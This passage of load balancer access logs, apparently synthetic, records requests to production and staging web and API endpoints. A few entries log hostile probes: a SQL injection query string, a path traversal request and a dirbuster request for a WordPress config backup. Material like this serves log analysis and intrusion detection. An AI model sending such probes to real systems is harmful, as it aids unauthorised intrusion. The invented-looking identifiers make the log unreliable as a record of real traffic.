64.198.136.77:10908 10.0.146.186:443 0.053322 0.311811 0.034185 302 302 5 7931 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c930-59385755704543a7a2b48286" "prod-api-alb.example.com" "-" 3 2024-11-01T01:15:12.597795Z "forward" "-" "-" "10.0.146.186:443" "302" "-" "-" +https 2024-11-01T01:15:14.564256Z staging-alb 140.175.128.118:14993 12.216.143.61:8080 0.050019 0.535557 0.072127 404 404 380 9615 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c932-16234c872b6d468ea75604e9" "staging-alb.example.com" "-" 3 2024-11-01T01:15:14.564256Z "forward" "-" "-" "12.216.143.61:8080" "404" "-" "-" +https 2024-11-01T01:15:15.452479Z prod-web-alb 185.181.21.23:26320 10.0.90.209:443 0.078751 0.310887 0.079452 500 500 427 1165 "POST /search?q=1' UNION SELECT HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c933-2922b4840f2d414e9401d939" "-" "-" 7 2024-11-01T01:15:15.452479Z "forward" "-" "-" "10.0.90.209:443" "500" "-" "-" +http 2024-11-01T01:15:15.742535Z staging-alb 78.149.120.192:40237 111.17.75.218:80 0.097371 0.202513 0.136699 200 200 336 10389 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c933-fea5364e43d642a3b8801de0" "staging-alb.example.com" "-" 1 2024-11-01T01:15:15.742535Z "forward" "-" "-" "111.17.75.218:80" "200" "-" "-" +http 2024-11-01T01:15:17.634730Z staging-alb 122.95.58.176:29944 166.11.136.13:443 0.127444 0.220780 0.148138 200 200 336 2174 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c935-43fde0cfbdbf483f9fdc6864" "staging-alb.example.com" "-" 7 2024-11-01T01:15:17.634730Z "forward" "-" "-" "166.11.136.13:443" "200" "-" "-" +http 2024-11-01T01:15:18.139717Z staging-alb 63.70.229.105:32682 249.110.26.32:443 0.109088 0.281590 0.115754 301 301 480 5406 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c936-e884e08a43c845e4864dd499" "staging-alb.example.com" "-" 0 2024-11-01T01:15:18.139717Z "forward" "-" "-" "249.110.26.32:443" "301" "-" "-" +http 2024-11-01T01:15:18.676933Z staging-alb 179.3.178.23:27468 128.75.45.107:80 0.001626 0.122950 0.128623 200 200 938 6286 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c936-4b0cb47a7ab648d29a72c6a7" "-" "-" 8 2024-11-01T01:15:18.676933Z "forward" "-" "-" "128.75.45.107:80" "200" "-" "-" +http 2024-11-01T01:15:18.939074Z staging-alb 13.252.22.24:49438 145.0.9.18:443 0.079584 0.610925 0.146945 200 200 382 11519 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c936-308a57965b9046dba9d85124" "staging-alb.example.com" "-" 8 2024-11-01T01:15:18.939074Z "forward" "-" "-" "145.0.9.18:443" "200" "-" "-" +https 2024-11-01T01:15:19.346346Z prod-api-alb 33.97.212.26:19111 10.0.246.125:443 0.035879 0.472624 0.038051 200 200 126 12551 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c937-0c92396c348a45a0801a774c" "prod-api-alb.example.com" "-" 10 2024-11-01T01:15:19.346346Z "forward" "-" "-" "10.0.246.125:443" "200" "-" "-" +https 2024-11-01T01:15:20.341229Z prod-api-alb 109.140.194.122:20742 10.0.6.123:443 0.038558 0.054624 0.044955 200 200 836 3832 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c938-91833edaaa8148faa67411ac" "prod-api-alb.example.com" "-" 10 2024-11-01T01:15:20.341229Z "forward" "-" "-" "10.0.6.123:443" "200" "-" "-" +https 2024-11-01T01:15:21.698935Z prod-api-alb 51.107.85.133:61465 10.0.11.196:443 0.050928 0.344724 0.049477 302 302 564 705 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c939-86d3e467f014408b9a855ea4" "prod-api-alb.example.com" "-" 7 2024-11-01T01:15:21.698935Z "forward" "-" "-" "10.0.11.196:443" "302" "-" "-" +https 2024-11-01T01:15:22.864605Z prod-api-alb 185.229.26.27:25824 10.0.239.78:443 0.076390 0.282156 0.085971 404 404 641 5621 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c93a-edb4ac9fa2104e7ba3278761" "prod-api-alb.example.com" "-" 7 2024-11-01T01:15:22.864605Z "forward" "-" "-" "10.0.239.78:443" "404" "-" "-" +https 2024-11-01T01:15:24.301998Z prod-web-alb 105.168.250.33:47718 10.0.116.76:443 0.097331 0.028315 0.093463 404 404 766 1483 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c93c-06b60e755c694799862a82aa" "prod-web-alb.example.com" "-" 6 2024-11-01T01:15:24.301998Z "forward" "-" "-" "10.0.116.76:443" "404" "-" "-" +http 2024-11-01T01:15:25.580333Z staging-alb 124.208.28.225:37594 113.198.138.110:8080 0.136446 0.194101 0.121511 302 302 297 11412 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c93d-abb7806552734ed8a31f1f47" "staging-alb.example.com" "-" 3 2024-11-01T01:15:25.580333Z "forward" "-" "-" "113.198.138.110:8080" "302" "-" "-" +http 2024-11-01T01:15:26.605467Z staging-alb 169.40.195.183:59958 89.220.77.42:80 0.115847 0.039642 0.015624 301 301 166 2337 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c93e-69e9e51fca804e01bf5ff408" "staging-alb.example.com" "-" 2 2024-11-01T01:15:26.605467Z "forward" "-" "-" "89.220.77.42:80" "301" "-" "-" +https 2024-11-01T01:15:28.564064Z prod-web-alb 21.228.126.201:38583 10.0.71.166:443 0.044840 0.111412 0.039244 200 200 479 11108 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c940-1b958d1873024d4685c1523f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:15:28.564064Z "forward" "-" "-" "10.0.71.166:443" "200" "-" "-" +https 2024-11-01T01:15:28.964804Z prod-api-alb 207.205.11.220:28033 10.0.70.36:443 0.076790 0.194865 0.049451 301 301 761 7829 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c940-205ab1e57816498781fd6d48" "prod-api-alb.example.com" "-" 9 2024-11-01T01:15:28.964804Z "forward" "-" "-" "10.0.70.36:443" "301" "-" "-" +https 2024-11-01T01:15:29.351365Z prod-web-alb 233.39.2.29:64582 10.0.188.89:443 0.012965 0.405371 0.029455 200 200 386 5319 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c941-5545da9c909142d08c78a090" "prod-web-alb.example.com" "-" 8 2024-11-01T01:15:29.351365Z "forward" "-" "-" "10.0.188.89:443" "200" "-" "-" +https 2024-11-01T01:15:29.971882Z staging-alb 66.0.219.114:11509 14.225.177.100:80 0.114388 0.371299 0.021313 200 200 493 11916 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c941-0846c4e964784b09947aee75" "staging-alb.example.com" "-" 5 2024-11-01T01:15:29.971882Z "forward" "-" "-" "14.225.177.100:80" "200" "-" "-" +https 2024-11-01T01:15:31.465599Z prod-web-alb 175.55.61.125:49229 10.0.7.57:443 0.020776 0.221224 0.049016 302 302 397 14041 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c943-66dd253aa96b46e3940d621e" "prod-web-alb.example.com" "-" 2 2024-11-01T01:15:31.465599Z "forward" "-" "-" "10.0.7.57:443" "302" "-" "-" +https 2024-11-01T01:15:33.261762Z staging-alb 111.139.48.220:58592 138.117.30.243:80 0.006871 0.369338 0.112402 302 302 185 11859 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c945-f91d5014fce148a5b50a4026" "staging-alb.example.com" "-" 9 2024-11-01T01:15:33.261762Z "forward" "-" "-" "138.117.30.243:80" "302" "-" "-" +https 2024-11-01T01:15:34.334732Z prod-web-alb 23.162.73.32:59283 10.0.72.184:443 0.057677 0.161377 0.032819 301 301 54 7523 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c946-57f3f08337ea4d2699db2ee9" "prod-web-alb.example.com" "-" 0 2024-11-01T01:15:34.334732Z "forward" "-" "-" "10.0.72.184:443" "301" "-" "-" +https 2024-11-01T01:15:35.998229Z prod-api-alb 133.114.1.87:27879 10.0.149.126:443 0.099361 0.336610 0.052923 200 200 595 3693 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c947-21cc86f73c434134bbb7ddcc" "prod-api-alb.example.com" "-" 6 2024-11-01T01:15:35.998229Z "forward" "-" "-" "10.0.149.126:443" "200" "-" "-" +https 2024-11-01T01:15:36.680850Z staging-alb 125.105.25.21:15074 36.148.8.122:80 0.063016 0.271286 0.012571 301 301 608 14206 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c948-72f773ec6015434ca6dc9c2e" "staging-alb.example.com" "-" 9 2024-11-01T01:15:36.680850Z "forward" "-" "-" "36.148.8.122:80" "301" "-" "-" +https 2024-11-01T01:15:38.331005Z prod-web-alb 27.18.24.46:27966 10.0.153.72:443 0.097932 0.499212 0.049491 200 200 325 14208 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c94a-7bab3add82e14e538ea0c0ed" "prod-web-alb.example.com" "-" 7 2024-11-01T01:15:38.331005Z "forward" "-" "-" "10.0.153.72:443" "200" "-" "-" +http 2024-11-01T01:15:39.747612Z staging-alb 41.57.181.160:33513 70.27.143.226:8080 0.071380 0.310420 0.018541 200 200 45 6998 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c94b-8da939cfd5004872b85f291d" "staging-alb.example.com" "-" 10 2024-11-01T01:15:39.747612Z "forward" "-" "-" "70.27.143.226:8080" "200" "-" "-" +https 2024-11-01T01:15:40.657779Z prod-web-alb 212.189.15.137:46897 10.0.250.237:443 0.025193 0.119470 0.033485 302 302 506 7948 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c94c-036f79528b8e4b2ca1191ccc" "prod-web-alb.example.com" "-" 6 2024-11-01T01:15:40.657779Z "forward" "-" "-" "10.0.250.237:443" "302" "-" "-" +https 2024-11-01T01:15:40.795586Z prod-api-alb 184.73.147.33:39589 10.0.196.149:443 0.000084 0.419941 0.046695 301 301 899 11961 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c94c-910b070e27bc4aa7b85f6b7d" "prod-api-alb.example.com" "-" 7 2024-11-01T01:15:40.795586Z "forward" "-" "-" "10.0.196.149:443" "301" "-" "-" +https 2024-11-01T01:15:41.112151Z prod-web-alb 121.219.139.231:11167 10.0.106.89:443 0.022349 0.151842 0.071943 200 200 287 14756 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c94d-e2869c7510494be484bac854" "prod-web-alb.example.com" "-" 10 2024-11-01T01:15:41.112151Z "forward" "-" "-" "10.0.106.89:443" "200" "-" "-" +https 2024-11-01T01:15:42.192438Z staging-alb 12.248.29.42:41611 43.225.245.132:443 0.131170 0.532134 0.079540 200 200 437 2941 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c94e-50e06971eaa64871b9d30ee9" "staging-alb.example.com" "-" 3 2024-11-01T01:15:42.192438Z "forward" "-" "-" "43.225.245.132:443" "200" "-" "-" +https 2024-11-01T01:15:43.618060Z prod-api-alb 6.145.216.141:54287 10.0.137.181:443 0.041796 0.431702 0.079567 200 200 764 2523 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c94f-b58b315c01354b1cb033127c" "prod-api-alb.example.com" "-" 9 2024-11-01T01:15:43.618060Z "forward" "-" "-" "10.0.137.181:443" "200" "-" "-" +https 2024-11-01T01:15:45.040538Z prod-api-alb 210.202.83.173:53886 10.0.103.160:443 0.003291 0.166447 0.059759 200 200 381 12554 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c951-ed8707f7ad0d482c9b2ab846" "prod-api-alb.example.com" "-" 2 2024-11-01T01:15:45.040538Z "forward" "-" "-" "10.0.103.160:443" "200" "-" "-" +https 2024-11-01T01:15:45.371868Z prod-api-alb 193.27.228.240:22958 10.0.240.199:443 0.041643 0.011091 0.044805 404 404 509 1015 "GET /static/../../secret HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c951-84375068572d48deb561abff" "-" "-" 2 2024-11-01T01:15:45.371868Z "forward" "-" "-" "10.0.240.199:443" "404" "-" "-" +https 2024-11-01T01:15:47.086930Z staging-alb 94.171.78.30:42273 65.187.56.204:443 0.033774 0.154818 0.123585 200 200 785 1907 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c953-49256371021445c0a4d8b8dc" "staging-alb.example.com" "-" 4 2024-11-01T01:15:47.086930Z "forward" "-" "-" "65.187.56.204:443" "200" "-" "-" +https 2024-11-01T01:15:48.442487Z prod-api-alb 212.64.89.140:21638 10.0.125.31:443 0.003800 0.244671 0.056156 200 200 861 11701 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c954-d20126154e6c4972986236be" "prod-api-alb.example.com" "-" 6 2024-11-01T01:15:48.442487Z "forward" "-" "-" "10.0.125.31:443" "200" "-" "-" +http 2024-11-01T01:15:48.568211Z staging-alb 135.55.33.105:24068 240.98.133.40:443 0.002146 0.239980 0.144888 404 404 843 235 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c954-71bb2355c0e0444a9f39481a" "staging-alb.example.com" "-" 8 2024-11-01T01:15:48.568211Z "forward" "-" "-" "240.98.133.40:443" "404" "-" "-" +https 2024-11-01T01:15:50.443877Z prod-web-alb 166.185.99.48:39887 10.0.42.166:443 0.096011 0.323052 0.025133 404 404 294 6033 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c956-fbf48a832dd046c4bd436ad5" "prod-web-alb.example.com" "-" 2 2024-11-01T01:15:50.443877Z "forward" "-" "-" "10.0.42.166:443" "404" "-" "-" +https 2024-11-01T01:15:50.616575Z staging-alb 223.118.167.70:50415 165.189.233.160:80 0.021260 0.723950 0.095900 302 302 407 3680 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c956-80b72b8968604b79af63292e" "staging-alb.example.com" "-" 1 2024-11-01T01:15:50.616575Z "forward" "-" "-" "165.189.233.160:80" "302" "-" "-" +http 2024-11-01T01:15:51.871873Z staging-alb 185.181.110.51:11485 110.15.144.212:80 0.003834 0.136255 0.013937 302 302 51 6634 "POST /wp-config.php.bak HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c957-6b8f7a9d3ff04fe7bd35c687" "-" "-" 9 2024-11-01T01:15:51.871873Z "forward" "-" "-" "110.15.144.212:80" "302" "-" "-" +https 2024-11-01T01:15:53.199065Z prod-web-alb 100.189.240.49:23126 10.0.71.90:443 0.090604 0.497230 0.007750 404 404 772 10190 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c959-a3b5c630b6254832b8e1c93b" "prod-web-alb.example.com" "-" 7 2024-11-01T01:15:53.199065Z "forward" "-" "-" "10.0.71.90:443" "404" "-" "-" +http 2024-11-01T01:15:54.217526Z staging-alb 61.119.23.101:55203 132.215.172.243:80 0.074654 0.447749 0.026031 200 200 7 2954 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c95a-39e84212de4346b6938944ab" "staging-alb.example.com" "-" 0 2024-11-01T01:15:54.217526Z "forward" "-" "-" "132.215.172.243:80" "200" "-" "-" +http 2024-11-01T01:15:54.723168Z staging-alb 23.83.176.235:34377 220.7.144.104:443 0.058752 0.570626 0.037649 404 404 856 13665 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c95a-1749ecc8ec2c4dae9d0a35eb" "staging-alb.example.com" "-" 8 2024-11-01T01:15:54.723168Z "forward" "-" "-" "220.7.144.104:443" "404" "-" "-" +https 2024-11-01T01:15:54.967905Z prod-web-alb 46.97.73.6:39874 10.0.114.55:443 0.039711 0.263545 0.028687 302 302 802 6948 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c95a-df7ded0cc0e24c02858c1a49" "prod-web-alb.example.com" "-" 5 2024-11-01T01:15:54.967905Z "forward" "-" "-" "10.0.114.55:443" "302" "-" "-" +https 2024-11-01T01:15:55.993749Z prod-api-alb 161.73.29.194:26058 10.0.89.134:443 0.036179 0.057305 0.007978 200 200 428 5188 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c95b-47054a7afe1041bcaa096cd6" "prod-api-alb.example.com" "-" 7 2024-11-01T01:15:55.993749Z "forward" "-" "-" "10.0.89.134:443" "200" "-" "-" +https 2024-11-01T01:15:57.890630Z prod-web-alb 201.225.135.107:14880 10.0.190.175:443 0.073635 0.094432 0.072416 404 404 875 5517 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c95d-ef5c2982ca7b42829100c4e1" "prod-web-alb.example.com" "-" 9 2024-11-01T01:15:57.890630Z "forward" "-" "-" "10.0.190.175:443" "404" "-" "-" +https 2024-11-01T01:15:58.875365Z prod-web-alb 172.85.139.222:48951 10.0.252.64:443 0.053724 0.009202 0.098503 200 200 441 703 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c95e-c2c3201252674538b75ab864" "prod-web-alb.example.com" "-" 4 2024-11-01T01:15:58.875365Z "forward" "-" "-" "10.0.252.64:443" "200" "-" "-" +http 2024-11-01T01:15:59.884850Z staging-alb 215.181.216.96:42590 229.120.227.52:443 0.005421 0.611535 0.121498 200 200 466 6259 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c95f-624dbc462c99424b8e396990" "staging-alb.example.com" "-" 7 2024-11-01T01:15:59.884850Z "forward" "-" "-" 